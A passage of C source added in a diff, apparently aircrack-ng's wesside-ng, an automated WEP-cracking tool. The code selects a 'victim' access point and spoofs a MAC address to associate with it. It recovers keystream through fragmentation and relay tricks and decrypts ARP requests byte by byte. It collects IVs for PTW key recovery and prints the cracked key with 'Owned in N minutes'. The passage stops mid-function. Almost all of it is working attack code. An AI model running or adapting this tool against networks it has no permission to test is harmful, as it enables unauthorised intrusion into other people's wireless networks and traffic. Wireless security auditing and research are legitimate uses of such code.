@@ -0,0 +1,2284 @@
+/*
+ *  Copyright (C) 2005-2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <termios.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/uio.h>
+#include <net/if.h>
+#include <netinet/in.h>
+#include <netinet/in_systm.h>
+#include <arpa/inet.h>
+#include <sys/time.h>
+#include <time.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <assert.h>
+#include <zlib.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <err.h>
+#include <limits.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/support/communications.h"
+#include "aircrack-ng/osdep/osdep.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/ptw/aircrack-ptw-lib.h"
+#include "aircrack-ng/third-party/ieee80211.h"
+#include "aircrack-ng/third-party/ethernet.h"
+#include "aircrack-ng/third-party/if_arp.h"
+#include "aircrack-ng/third-party/if_llc.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/osdep/byteorder.h"
+
+#define FIND_VICTIM 0
+#define FOUND_VICTIM 1
+#define SENDING_AUTH 2
+#define GOT_AUTH 3
+#define SPOOF_MAC 4
+#define SENDING_ASSOC 5
+#define GOT_ASSOC 6
+
+#define LINKTYPE_IEEE802_11 105
+#define TCPDUMP_MAGIC 0xA1B2C3D4
+
+#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
+#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
+#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
+#define PADDED_ARPLEN 54
+
+#define MCAST_PREF "\x01\x00\x5e\x00\x00"
+
+#define WEP_FILE "wep.cap"
+#define KEY_FILE "key.log"
+#define PRGA_FILE "prga.log"
+#define KEYLIMIT 1000000
+
+// unused, but needed for link
+struct communication_options opt;
+struct devices dev;
+extern struct wif *_wi_in, *_wi_out;
+
+struct frag_state
+{
+	struct ieee80211_frame fs_wh;
+	unsigned char * fs_data;
+	int fs_len;
+	unsigned char * fs_ptr;
+	int fs_waiting_relay;
+	struct timeval fs_last;
+};
+
+struct prga_info
+{
+	unsigned char * pi_prga;
+	int pi_len;
+	unsigned char pi_iv[3];
+};
+
+static struct wstate
+{
+	int ws_state;
+	struct timeval ws_arpsend;
+	char * ws_netip;
+	int ws_netip_arg;
+	int ws_max_chan;
+	unsigned char * ws_rtrmac;
+	unsigned char ws_mymac[6];
+	int ws_have_mac;
+	char ws_myip[16];
+	unsigned char * ws_victim_mac;
+	PTW_attackstate * ws_ptw;
+	unsigned int ws_ack_timeout;
+	int ws_min_prga;
+	int ws_thresh_incr;
+	int ws_crack_dur;
+	int ws_wep_thresh;
+	int ws_crack_pid;
+	struct timeval ws_crack_start;
+	struct timeval ws_real_start;
+	struct timeval ws_lasthop;
+	struct timeval ws_last_wcount;
+	struct wif * ws_wi;
+	unsigned int ws_last_wep_count;
+	int ws_ignore_ack;
+
+	/* tx_state */
+	int ws_waiting_ack;
+	struct timeval ws_tsent;
+	int ws_retries;
+	unsigned int ws_psent;
+
+	/* chan_info */
+	int ws_chan;
+
+	/* victim_info */
+	char * ws_ssid;
+	int ws_apchan;
+	unsigned char ws_bss[6];
+
+	struct frag_state ws_fs;
+	struct prga_info ws_pi;
+
+	/* decrypt_state */
+	unsigned char * ws_cipher;
+	int ws_clen;
+	struct prga_info ws_dpi;
+	struct frag_state ws_dfs;
+
+	/* wep_log */
+	unsigned int ws_packets;
+	unsigned int ws_rate;
+	int ws_fd;
+	unsigned char ws_iv[3];
+} _wstate;
+
+#define KEYHSBYTES PTW_KEYHSBYTES
+
+static int PTW_DEFAULTBF[PTW_KEYHSBYTES]
+	= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+	   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
+
+static void cleanup(int x);
+void show_wep_stats(int B,
+					int force,
+					PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
+					int choices[KEYHSBYTES],
+					int depth[KEYHSBYTES],
+					int prod,
+					int keylimit);
+
+/* display the current votes */
+
+void show_wep_stats(int B,
+					int force,
+					PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
+					int choices[KEYHSBYTES],
+					int depth[KEYHSBYTES],
+					int prod,
+					int keylimit)
+{
+	UNUSED_PARAM(B);
+	UNUSED_PARAM(force);
+	UNUSED_PARAM(table);
+	UNUSED_PARAM(choices);
+	UNUSED_PARAM(depth);
+	UNUSED_PARAM(prod);
+	UNUSED_PARAM(keylimit);
+}
+
+static inline struct wstate * get_ws(void) { return &_wstate; }
+
+static void time_print(char * fmt, ...)
+{
+	REQUIRE(fmt != NULL);
+
+	va_list ap;
+	char lame[1024];
+	time_t tt;
+	struct tm * t;
+
+	va_start(ap, fmt);
+	vsnprintf(lame, sizeof(lame), fmt, ap);
+	va_end(ap);
+
+	tt = time(NULL);
+
+	if (tt == (time_t) -1)
+	{
+		perror("time()");
+		exit(EXIT_FAILURE);
+	}
+
+	t = localtime(&tt);
+	if (!t)
+	{
+		perror("localtime()");
+		exit(EXIT_FAILURE);
+	}
+
+	printf("[%.2d:%.2d:%.2d] %s", t->tm_hour, t->tm_min, t->tm_sec, lame);
+}
+
+static void check_key(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	char buf[1024];
+	int fd;
+	int rd;
+	struct timeval now;
+
+	fd = open(KEY_FILE, O_RDONLY);
+
+	if (fd == -1)
+	{
+		return;
+	}
+
+	rd = read(fd, buf, sizeof(buf) - 1);
+	if (rd == -1)
+	{
+		perror("read()");
+		exit(EXIT_FAILURE);
+	}
+
+	buf[rd] = 0;
+
+	close(fd);
+
+	printf("\n\n");
+	time_print("KEY=(%s)\n", buf);
+
+	if (gettimeofday(&now, NULL) == -1)
+	{
+		perror("gettimeofday()");
+		exit(EXIT_FAILURE);
+	}
+
+	printf("Owned in %.02f minutes\n",
+		   ((double) now.tv_sec - ws->ws_real_start.tv_sec) / 60.0);
+
+	cleanup(0);
+	exit(EXIT_SUCCESS);
+}
+
+static void kill_crack(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	if (ws->ws_crack_pid == 0) return;
+
+	printf("\n");
+	time_print("Stopping crack PID=%d\n", ws->ws_crack_pid);
+
+	// XXX doesn't return -1 for some reason! [maybe on my box... so it
+	// might be buggy on other boxes...]
+	if (kill(ws->ws_crack_pid, SIGINT) == -1)
+	{
+#if 0
+		perror("kill()");
+		exit(1);
+#endif
+	}
+
+	ws->ws_crack_pid = 0;
+
+	check_key(ws);
+}
+
+static void cleanup(int x)
+{
+	UNUSED_PARAM(x);
+
+	struct wstate * ws = get_ws();
+
+	ALLEGE(ws != NULL); //-V547
+
+	printf("\n");
+	time_print("Dying...\n");
+
+	if (ws->ws_fd) close(ws->ws_fd);
+
+	kill_crack(ws);
+
+	if (ws->ws_wi) wi_close(ws->ws_wi);
+
+	if (ws->ws_ssid) free(ws->ws_ssid);
+
+	exit(EXIT_SUCCESS);
+}
+
+static void set_chan(struct wstate * ws, int c)
+{
+	REQUIRE(ws != NULL);
+
+	if (c == ws->ws_chan) return;
+
+	if (wi_set_channel(ws->ws_wi, c)) err(1, "wi_set_channel()");
+
+	ws->ws_chan = c;
+}
+
+static void hexdump(unsigned char * ptr, int len)
+{
+	REQUIRE(ptr != NULL);
+	REQUIRE(len >= 0);
+
+	while (len > 0)
+	{
+		printf("%.2X ", *ptr);
+		ptr++;
+		len--;
+	}
+	printf("\n");
+}
+
+static void inject(struct wif * wi, void * buf, int len)
+{
+	int rc = wi_write(wi, NULL, LINKTYPE_IEEE802_11, buf, len, NULL);
+
+	if (rc == -1)
+	{
+		perror("writev()");
+		exit(EXIT_FAILURE);
+	}
+	if (rc != len)
+	{
+		time_print("ERROR: Packet length changed while transmitting (%d "
+				   "instead of %d).\n",
+				   rc,
+				   len);
+		exit(EXIT_FAILURE);
+	}
+}
+
+static void send_frame(struct wstate * ws, unsigned char * buf, int len)
+{
+	REQUIRE(ws != NULL);
+
+	static unsigned char * lame = 0;
+	static int lamelen = 0;
+	static int lastlen = 0;
+
+	// retransmit!
+	if (len == -1)
+	{
+		ws->ws_retries++;
+
+		if (ws->ws_ignore_ack && ws->ws_retries >= ws->ws_ignore_ack)
+		{
+			ws->ws_waiting_ack = 0;
+			return;
+		}
+
+		if (ws->ws_retries > 10)
+		{
+			time_print("ERROR Max retransmits for (%d bytes):\n", lastlen);
+			hexdump(&lame[0], lastlen);
+		}
+		len = lastlen;
+	}
+	// normal tx
+	else
+	{
+		ALLEGE(ws->ws_waiting_ack == 0);
+
+		if (len > lamelen)
+		{
+			if (lame) free(lame);
+
+			lame = (unsigned char *) malloc(len);
+			if (!lame)
+			{
+				perror("malloc()");
+				exit(EXIT_FAILURE);
+			}
+
+			lamelen = len;
+		}
+
+		memcpy(lame, buf, len);
+		ws->ws_retries = 0;
+		lastlen = len;
+	}
+
+	inject(ws->ws_wi, lame, len);
+
+	if (ws->ws_ignore_ack != 1) ws->ws_waiting_ack = 1;
+
+	ws->ws_psent++;
+	if (gettimeofday(&ws->ws_tsent, NULL) == -1)
+	{
+		perror("gettimeofday()");
+		exit(EXIT_FAILURE);
+	}
+}
+
+static void fill_basic(struct wstate * ws, struct ieee80211_frame * wh)
+{
+	REQUIRE(ws != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned short * sp;
+
+	memcpy(wh->i_addr1, ws->ws_bss, 6);
+	memcpy(wh->i_addr2, ws->ws_mymac, 6);
+	memcpy(wh->i_addr3, ws->ws_bss, 6);
+
+	sp = (unsigned short *) wh->i_seq;
+	*sp = fnseq(0, ws->ws_psent);
+
+	sp = (unsigned short *) wh->i_dur;
+	*sp = htole16(32767);
+}
+
+static void send_assoc(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	unsigned char buf[128];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * body;
+	int ssidlen;
+
+	memset(buf, 0, sizeof(buf));
+	fill_basic(ws, wh);
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
+
+	body = (unsigned char *) wh + sizeof(*wh);
+	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
+	// cap + interval
+	body += 2 + 2;
+
+	// ssid
+	*body++ = 0;
+	ssidlen = strlen(ws->ws_ssid);
+	*body++ = ssidlen;
+	memcpy(body, ws->ws_ssid, ssidlen);
+	body += ssidlen;
+
+	// rates
+	*body++ = IEEE80211_ELEMID_RATES;
+	*body++ = 8;
+	*body++ = 2 | 0x80;
+	*body++ = 4 | 0x80;
+	*body++ = 11 | 0x80;
+	*body++ = 22 | 0x80;
+	*body++ = 12 | 0x80;
+	*body++ = 24 | 0x80;
+	*body++ = 48 | 0x80;
+	*body++ = 72;
+
+	/* x-rates */
+	*body++ = IEEE80211_ELEMID_XRATES;
+	*body++ = 4;
+	*body++ = 48;
+	*body++ = 72;
+	*body++ = 96;
+	*body++ = 108;
+
+	send_frame(ws, buf, (unsigned long) body - (unsigned long) buf);
+}
+
+static void wepify(struct wstate * ws, unsigned char * body, int dlen)
+{
+	REQUIRE(ws != NULL);
+	REQUIRE(dlen + 4 <= ws->ws_pi.pi_len);
+	REQUIRE(body != NULL);
+
+	uLong crc;
+	unsigned int * pcrc;
+	int i;
+
+	// iv
+	memcpy(body, ws->ws_pi.pi_iv, 3);
+	body += 3;
+	*body++ = 0;
+
+	// crc
+	crc = crc32(0L, Z_NULL, 0);
+	crc = crc32(crc, body, dlen);
+	pcrc = (unsigned int *) (body + dlen);
+	*pcrc = htole32(crc);
+
+	for (i = 0; i < dlen + 4; i++) *body++ ^= ws->ws_pi.pi_prga[i];
+}
+
+static void send_auth(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	unsigned char buf[128] __attribute__((aligned(8)));
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned short * n;
+
+	memset(buf, 0, sizeof(buf));
+	fill_basic(ws, wh);
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
+
+	/* transaction number */
+	n = (unsigned short *) ((unsigned char *) wh + sizeof(*wh)); //-V1032
+	n++;
+	*n = htole16(1);
+
+	send_frame(ws, buf, sizeof(*wh) + 2 + 2 + 2);
+}
+
+static int
+get_victim_ssid(struct wstate * ws, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(wh != NULL);
+
+	unsigned char * ptr;
+	int x;
+	int gots = 0, gotc = 0;
+
+	if (len <= (int) sizeof(*wh))
+	{
+		time_print("Warning: short packet in get_victim_ssid()\n");
+		return (0);
+	}
+
+	ptr = (unsigned char *) wh + sizeof(*wh);
+	len -= sizeof(*wh);
+
+	// only wep baby
+	if (!(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY))
+	{
+		return (0);
+	}
+
+	REQUIRE(ws != NULL);
+
+	// we want a specific victim
+	if (ws->ws_victim_mac)
+	{
+		if (memcmp(wh->i_addr3, ws->ws_victim_mac, 6) != 0) return (0);
+	}
+
+	// beacon header
+	x = 8 + 2 + 2;
+	if (len <= x)
+	{
+		time_print("Warning short.\n");
+		return (0);
+	}
+
+	ptr += x;
+	len -= x;
+
+	// SSID
+	while (len > 2)
+	{
+		int eid, elen;
+
+		eid = *ptr;
+		ptr++;
+		elen = *ptr;
+		ptr++;
+		len -= 2;
+
+		if (len < elen)
+		{
+			time_print("Warning short....\n");
+			return (0);
+		}
+
+		// ssid
+		if (eid == 0)
+		{
+			if (ws->ws_ssid) free(ws->ws_ssid);
+
+			ws->ws_ssid = (char *) malloc(elen + 1);
+			if (!ws->ws_ssid)
+			{
+				perror("malloc()");
+				exit(EXIT_FAILURE);
+			}
+
+			memcpy(ws->ws_ssid, ptr, elen);
+			ws->ws_ssid[elen] = 0;
+			gots = 1;
+		}
+		// chan
+		else if (eid == 3)
+		{
+			if (elen != 1)
+			{
+				time_print("Warning len of chan not 1\n");
+				return (0);
+			}
+
+			ws->ws_apchan = *ptr;
+			gotc = 1;
+		}
+
+		ptr += elen;
+		len -= elen;
+	}
+
+	if (gots && gotc)
+	{
+		memcpy(ws->ws_bss, wh->i_addr3, 6);
+		set_chan(ws, ws->ws_apchan);
+		ws->ws_state = FOUND_VICTIM;
+
+		char * mac = mac2string(ws->ws_bss);
+		ALLEGE(mac != NULL);
+		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
+				   ws->ws_ssid,
+				   mac,
+				   ws->ws_apchan);
+		free(mac);
+		return (1);
+	}
+
+	return (0);
+}
+
+static void send_ack(struct wstate * ws)
+{
+	UNUSED_PARAM(ws);
+	/* firmware acks */
+}
+
+static void do_llc(unsigned char * buf, unsigned short type)
+{
+	REQUIRE(buf != NULL);
+
+	struct llc * h = (struct llc *) buf;
+
+	memset(h, 0, sizeof(*h));
+	h->llc_dsap = LLC_SNAP_LSAP;
+	h->llc_ssap = LLC_SNAP_LSAP;
+	h->llc_un.type_snap.control = 3;
+	h->llc_un.type_snap.ether_type = htons(type);
+}
+
+static void set_prga(struct wstate * ws,
+					 unsigned char * iv,
+					 unsigned char * cipher,
+					 unsigned char * clear,
+					 int len)
+{
+	REQUIRE(ws != NULL);
+
+	int i;
+	int fd;
+
+	if (ws->ws_pi.pi_len != 0) free(ws->ws_pi.pi_prga);
+
+	ws->ws_pi.pi_prga = (unsigned char *) malloc(len);
+	if (!ws->ws_pi.pi_prga)
+	{
+		perror("malloc()");
+		exit(EXIT_FAILURE);
+	}
+
+	ws->ws_pi.pi_len = len;
+	memcpy(ws->ws_pi.pi_iv, iv, 3);
+
+	for (i = 0; i < len; i++)
+	{
+		ws->ws_pi.pi_prga[i] = (cipher ? (clear[i] ^ cipher[i]) : clear[i]);
+	}
+
+	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
+			   ws->ws_pi.pi_len,
+			   ws->ws_pi.pi_iv[0],
+			   ws->ws_pi.pi_iv[1],
+			   ws->ws_pi.pi_iv[2]);
+	hexdump(ws->ws_pi.pi_prga, ws->ws_pi.pi_len);
+
+	if (!cipher) return;
+
+	fd = open(
+		PRGA_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+
+	if (fd == -1)
+	{
+		perror("open()");
+		exit(EXIT_FAILURE);
+	}
+
+	i = write(fd, ws->ws_pi.pi_iv, 3);
+	if (i == -1)
+	{
+		perror("write()");
+		exit(EXIT_FAILURE);
+	}
+	if (i != 3)
+	{
+		printf("Wrote %d out of %d\n", i, 3);
+		exit(EXIT_FAILURE);
+	}
+
+	i = write(fd, ws->ws_pi.pi_prga, ws->ws_pi.pi_len);
+	if (i == -1)
+	{
+		perror("write()");
+		exit(EXIT_FAILURE);
+	}
+	if (i != ws->ws_pi.pi_len)
+	{
+		printf("Wrote %d out of %d\n", i, ws->ws_pi.pi_len);
+		exit(EXIT_FAILURE);
+	}
+
+	close(fd);
+}
+
+static void proc_ctl(struct wstate * ws, int stype)
+{
+	if (stype == IEEE80211_FC0_SUBTYPE_ACK)
+	{
+		REQUIRE(ws != NULL);
+
+		ws->ws_waiting_ack = 0;
+		return;
+	}
+	else if (stype == IEEE80211_FC0_SUBTYPE_RTS)
+	{
+		return;
+	}
+	else if (stype == IEEE80211_FC0_SUBTYPE_CTS)
+	{
+		return;
+	}
+
+	time_print("got CTL=%x\n", stype);
+}
+
+static void proc_mgt(struct wstate * ws, int stype, unsigned char * body)
+{
+	unsigned short * rc;
+	unsigned short * sc;
+	unsigned int aid;
+
+	if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH)
+	{
+		REQUIRE(ws != NULL);
+		REQUIRE(body != NULL);
+
+		rc = (unsigned short *) body;
+
+		printf("\n");
+		time_print("Got deauth=%u\n", le16toh(*rc));
+		ws->ws_state = FOUND_VICTIM;
+		return;
+	}
+	else if (stype == IEEE80211_FC0_SUBTYPE_AUTH)
+	{
+		REQUIRE(ws != NULL);
+		REQUIRE(body != NULL);
+
+		sc = (unsigned short *) body;
+
+		if (ws->ws_state != SENDING_AUTH) /* We didn't ask for it. */
+			return;
+
+		if (le16toh(*sc) != 0)
+		{
+			time_print("Warning got auth algo=%x\n", le16toh(*sc));
+			exit(EXIT_FAILURE);
+			return;
+		}
+		sc++;
+
+		if (le16toh(*sc) != 2)
+		{
+			time_print("Warning got auth seq=%x\n", le16toh(*sc));
+			return;
+		}
+
+		sc++;
+
+		if (le16toh(*sc) == 1)
+		{
+			time_print("Auth rejected.  Spoofin mac.\n");
+			ws->ws_state = SPOOF_MAC;
+			return;
+		}
+		else if (le16toh(*sc) == 0)
+		{
+			time_print("Authenticated\n");
+			ws->ws_state = GOT_AUTH;
+			return;
+		}
+		else
+		{
+			time_print("Got auth %x\n", *sc);
+			exit(EXIT_FAILURE);
+		}
+	}
+	else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP)
+	{
+		REQUIRE(ws != NULL);
+		REQUIRE(body != NULL);
+
+		sc = (unsigned short *) body;
+		sc++; // cap
+
+		if (ws->ws_state != SENDING_ASSOC) /* We didn't ask for it. */
+			return;
+
+		if (le16toh(*sc) == 0)
+		{
+			sc++;
+			aid = le16toh(*sc) & 0x3FFF;
+			time_print("Associated (ID=%x)\n", aid);
+			ws->ws_state = GOT_ASSOC;
+			return;
+		}
+		else if (le16toh(*sc) == 12 || le16toh(*sc) == 1)
+		{
+			time_print("Assoc rejected..."
+					   " trying to spoof mac.\n");
+			ws->ws_state = SPOOF_MAC;
+			return;
+		}
+		else
+		{
+			time_print("got assoc %d\n", le16toh(*sc));
+			exit(EXIT_FAILURE);
+		}
+	}
+	else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
+	{
+		return;
+	}
+
+	time_print("\nGOT MAN=%x\n", stype);
+	exit(EXIT_FAILURE);
+}
+
+static void proc_data(struct wstate * ws, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(wh != NULL);
+
+	int dlen;
+	dlen = len - sizeof(*wh) - 4 - 4;
+
+	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP))
+	{
+		char * mac = mac2string(wh->i_addr2);
+		ALLEGE(mac != NULL);
+		time_print("WARNING: Got NON wep packet from %s dlen %d\n", mac, dlen);
+		free(mac);
+		return;
+	}
+
+	ALLEGE(wh->i_fc[1] & IEEE80211_FC1_WEP);
+	ALLEGE(ws != NULL);
+
+	if ((dlen == 36 || dlen == PADDED_ARPLEN)
+		&& ws->ws_rtrmac == (unsigned char *) 1)
+	{
+		ws->ws_rtrmac = (unsigned char *) malloc(6);
+		if (!ws->ws_rtrmac)
+		{
+			perror("malloc()");
+			exit(EXIT_FAILURE);
+		}
+
+		memcpy(ws->ws_rtrmac, wh->i_addr3, 6);
+
+		char * mac = mac2string(ws->ws_rtrmac);
+		ALLEGE(mac != NULL);
+		time_print("Got arp reply from (%s)\n", mac);
+		free(mac);
+	}
+}
+
+static void
+stuff_for_us(struct wstate * ws, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(wh != NULL);
+
+	int type, stype;
+	unsigned char * body = (unsigned char *) (wh + 1);
+
+	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
+	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
+
+	// CTL
+	if (type == IEEE80211_FC0_TYPE_CTL)
+	{
+		proc_ctl(ws, stype);
+		return;
+	}
+
+	// MGM
+	if (type == IEEE80211_FC0_TYPE_MGT)
+	{
+		proc_mgt(ws, stype, body);
+		return;
+	}
+
+	/* Data */
+	if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA)
+	{
+		proc_data(ws, wh, len);
+		return;
+	}
+}
+
+static void
+decrypt_arpreq(struct wstate * ws, struct ieee80211_frame * wh, int rd)
+{
+	REQUIRE(wh != NULL);
+
+	unsigned char * body;
+	int bodylen;
+	unsigned char clear[36];
+	unsigned char * ptr;
+	struct arphdr * h;
+	int i;
+
+	body = (unsigned char *) wh + sizeof(*wh);
+	ptr = clear;
+
+	// calculate clear-text
+	memcpy(ptr, S_LLC_SNAP_ARP, sizeof(S_LLC_SNAP_ARP) - 1);
+	ptr += sizeof(S_LLC_SNAP_ARP) - 1;
+
+	h = (struct arphdr *) ptr; //-V1032
+	h->ar_hrd = htons(ARPHRD_ETHER);
+	h->ar_pro = htons(ETHERTYPE_IP);
+	h->ar_hln = 6;
+	h->ar_pln = 4;
+	h->ar_op = htons(ARPOP_REQUEST);
+	ptr += sizeof(*h);
+
+	memcpy(ptr, wh->i_addr3, 6);
+
+	REQUIRE(ws != NULL);
+
+	bodylen = rd - sizeof(*wh) - 4 - 4;
+	ws->ws_clen = bodylen;
+	ws->ws_cipher = (unsigned char *) malloc(ws->ws_clen);
+	if (!ws->ws_cipher)
+	{
+		perror("malloc()");
+		exit(EXIT_FAILURE);
+	}
+	ws->ws_dpi.pi_prga = (unsigned char *) malloc(ws->ws_clen);
+	if (!ws->ws_dpi.pi_prga)
+	{
+		perror("malloc()");
+		exit(EXIT_FAILURE);
+	}
+
+	memcpy(ws->ws_cipher, &body[4], ws->ws_clen);
+	memcpy(ws->ws_dpi.pi_iv, body, 3);
+
+	memset(ws->ws_dpi.pi_prga, 0, ws->ws_clen);
+	for (i = 0; i < (8 + 8 + 6); i++)
+	{
+		ws->ws_dpi.pi_prga[i] = ws->ws_cipher[i] ^ clear[i];
+	}
+
+	ws->ws_dpi.pi_len = i;
+
+	char * mac = mac2string(wh->i_addr3);
+	ALLEGE(mac != NULL);
+	time_print("Got ARP request from (%s)\n", mac);
+	free(mac);
+}
+
+static void log_wep(struct wstate * ws, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(wh != NULL);
+
+	int rd;
+	struct pcap_pkthdr pkh;
+	struct timeval tv;
+	unsigned char * body = (unsigned char *) (wh + 1);
+
+	memset(&pkh, 0, sizeof(pkh));
+	pkh.caplen = pkh.len = len;
+	if (gettimeofday(&tv, NULL) == -1) err(1, "gettimeofday()");
+	pkh.tv_sec = tv.tv_sec;
+	pkh.tv_usec = tv.tv_usec;
+	if (write(ws->ws_fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()");
+
+	rd = write(ws->ws_fd, wh, len);
+
+	if (rd == -1)
+	{
+		perror("write()");
+		exit(EXIT_FAILURE);
+	}
+	if (rd != len)
+	{
+		time_print("short write %d out of %d\n", rd, len);
+		exit(EXIT_FAILURE);
+	}
+
+	REQUIRE(ws != NULL);
+
+	memcpy(ws->ws_iv, body, 3);
+	ws->ws_packets++;
+}
+
+static void
+add_keystream(struct wstate * ws, struct ieee80211_frame * wh, int rd)
+{
+	REQUIRE(wh != NULL);
+
+	unsigned char clear[1024];
+	int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
+	int clearsize;
+	unsigned char * body = (unsigned char *) (wh + 1);
+	int i, weight[16], k, j;
+
+	k = known_clear(clear, &clearsize, weight, (void *) wh, dlen);
+	if (clearsize < 16) return;
+
+	for (j = 0; j < k; j++)
+	{
+		for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
+	}
+
+	REQUIRE(ws != NULL);
+
+	PTW_addsession(ws->ws_ptw, body, clear, weight, k);
+}
+
+static void got_ip(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	unsigned char ip[4] __attribute__((aligned(8)));
+	int i;
+	struct in_addr * in = (struct in_addr *) ip; //-V1032
+	char * ptr;
+
+	for (i = 0; i < 4; i++)
+		ip[i]
+			= ws->ws_cipher[8 + 8 + 6 + i] ^ ws->ws_dpi.pi_prga[8 + 8 + 6 + i];
+
+	INVARIANT(ws->ws_netip == NULL);
+	ws->ws_netip = malloc(16);
+	if (!ws->ws_netip)
+	{
+		perror("malloc()");
+		exit(EXIT_FAILURE);
+	}
+
+	memset(ws->ws_netip, 0, 16);
+	strncpy(ws->ws_netip, inet_ntoa(*in), 16 - 1);
+
+	time_print("Got IP=(%s)\n", ws->ws_netip);
+	memset(ws->ws_myip, 0, sizeof(ws->ws_myip));
+	strncpy(ws->ws_myip, ws->ws_netip, sizeof(ws->ws_myip) - 1);
+
+	ptr = strchr(ws->ws_myip, '.');
+	ALLEGE(ptr);
+	ptr = strchr(ptr + 1, '.');
+	ALLEGE(ptr);
+	ptr = strchr(ptr + 1, '.');
+	ALLEGE(ptr);
+	strncpy(ptr + 1, "123", 4);
+
+	time_print("My IP=(%s)\n", ws->ws_myip);
+
+	/* clear decrypt state */
+	free(ws->ws_dpi.pi_prga);
+	free(ws->ws_cipher);
+	ws->ws_cipher = 0;
+	ws->ws_clen = 0;
+	memset(&ws->ws_dpi, 0, sizeof(ws->ws_dpi));
+	memset(&ws->ws_dfs, 0, sizeof(ws->ws_dfs));
+}
+
+static void check_relay(struct wstate * ws,
+						struct ieee80211_frame * wh,
+						unsigned char * body,
+						int dlen)
+{
+	REQUIRE(ws != NULL);
+	REQUIRE(wh != NULL);
+
+	// looks like it...
+	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		&& (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0)
+		&& (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0)
+		&& dlen == ws->ws_fs.fs_len)
+	{
+		REQUIRE(body != NULL);
+
+		set_prga(ws, body, &body[4], ws->ws_fs.fs_data, dlen);
+		free(ws->ws_fs.fs_data);
+		ws->ws_fs.fs_data = 0;
+		ws->ws_fs.fs_waiting_relay = 0;
+	}
+
+	// see if we get the multicast stuff of when decrypting
+	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		&& (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0)
+		&& (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0)
+		&& dlen == 36)
+	{
+		REQUIRE(ws->ws_cipher != NULL);
+
+		unsigned char pr = wh->i_addr1[5];
+
+		printf("\n");
+		time_print("Got clear-text byte: %d\n",
+				   ws->ws_cipher[ws->ws_dpi.pi_len - 1] ^ pr);
+
+		ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1] = pr;
+		ws->ws_dpi.pi_len++;
